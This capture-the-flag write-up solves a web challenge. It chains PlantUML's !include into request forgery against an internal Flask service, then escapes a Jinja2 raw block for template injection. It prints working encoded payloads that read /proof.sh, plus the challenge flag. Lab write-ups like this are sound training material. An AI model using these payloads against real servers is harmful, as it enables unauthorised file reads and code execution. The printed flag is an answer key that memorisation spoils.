# ProbablyUnknown's Markup Language (350pt) - Web ![image](https://hackmd.io/_uploads/Bk7Nv2x4p.png) ## Analysis ### 1. Review the attachments ![image](https://hackmd.io/_uploads/HyzHw2e4p.png) #### 1a. docker-compose.yml - 2 containers, plantuml and puml.local - **plantuml** exposed the port 8080 and forwarded to host 8001 - **puml.local** dont exposed port, but by default docker containers should be able to access each another if there are no further network setting, even be able to resolve the container name for accessing - but for this challenge, `127.0.0.1:80` also is the **puml.local** from **plantuml** #### 1b. plantuml-server/Dockerfile - Image: plantuml/plantuml-server:jetty #### 1c. web/server.py - Flask library web server (Jinja2) - The `render_template_string` function is vulnerable to Server Side Template Injection (SSTI) and the inject point is the get request parameter `puml` ![image](https://hackmd.io/_uploads/HyxID2xNp.png) - But the `{%% raw %%}` and `{%% endraw %%}` will ignore included parts as jinja template or syntax (seems like hanlde as string), but it dont means that performed input sanitization, will talk about it later - Ref: https://jinja.palletsprojects.com/en/3.0.x/templates/#escaping ### 2. Define your clear objectives I. Target: the **puml.local** SSTI to execute python codes and read the `/proof.sh` II. Cross container attack or Server-side request forgery (SSRF): the **puml.local** is not exposed, so I guess that we need to access it via **plantuml** ### 3. Google time #### 3a. From huntr results for **plantuml-server** There are some vulerabilities seems like useful for this challenge. https://huntr.com/repos/plantuml/plantuml - and this one seems like the most possible one: `URL Restriction Bypass by Zhang Zeyu` https://huntr.com/bounties/8ac3316f-431c-468d-87e4-3dafff2ecf51/ #### 3b. Patched =/= fix all issues After reviewing the source code (https://github.com/plantuml/plantuml-server) or try and error (me), it just fix URL Restriction Bypass problem but you can still load the web page via `!include`. Therefore, you can still abuse the payload to access other container's web page now. ## Exploit ### 4. Cross container attack the target or SSRF #### 4a. Accessing the **puml.local** ``` @startuml !include http://127.0.0.1/ a -> b: %load_json() @enduml ``` ![image](https://hackmd.io/_uploads/B1VKw2xVT.png) #### 4b. Plantuml-server Illegal character `{` & `}` or more (whatever) Error msg: `plantuml_1 | java.net.URISyntaxException: Illegal character in query at index 22: http://127.0.0.1?puml={{}}` But url encode and bypass it. ``` @startuml !include http://127.0.0.1/?puml=%7B%7B7*7%7D%7D a -> b: %load_json() @enduml ``` ![image](https://hackmd.io/_uploads/Sk4cDhgEp.png) ### 5. Bypass the `{%% raw %%}` restruction As mentioned berfore: > `{%% raw %%}` and `{%% endraw %%}` will ignore included parts as jinja template or syntax (seems like hanlde as string) But also mentioned `render_template_string`, `render_template_string` is a flask function to > **render a template from the given source string with the given context.** - Ref: https://flask.palletsprojects.com/en/3.0.x/api/#flask.render_template_string That means your input is a template now. **Think as Template now.** ![image](https://hackmd.io/_uploads/BJziPng46.png) #### 5a. Think Template! Think! End with `{% endraw %}` ``` @startuml !include http://xxxx?puml=%3C/textarea%3E%3Ch1%3Ehi%3C/h1%3E%3C/html%3E%7B%25+endraw+%25%7D a -> b: %load_json() @enduml ``` ![image](https://hackmd.io/_uploads/ryf3whl4p.png) Error msg: `puml.local_1 | jinja2.exceptions.TemplateSyntaxError: Encountered unknown tag 'endraw'.` But it is talking about the original template which is the last line of the original template. so you can endraw first and open raw again to fullfill it. #### 5b. Construct a simple payload `{{7*7}}` with endraw & raw tags to test ![image](https://hackmd.io/_uploads/SkAnDnx46.png) Cool, I can think as template now~ ## Solve ``` @startuml !$foo = "7*7" !include http://127.0.0.1?puml=%7B%25%20endraw%20%25%7Dcode:%20%7B%7B%20get_flashed_messages.__globals__.__builtins__.open(%22/proof.sh%22).read()%20%7D%7D%0A%7B%25%20raw%20%25%7D a -> b: %load_json() @enduml ``` ![image](https://hackmd.io/_uploads/Sk3pv2eE6.png) You can output as ASCII format to copy the flag. Yup, remember to change `&` to `&` since HTML encoded. flag: `hkcert23{System_Analysis_&_Design_IS_SAD_0r_SAND?}`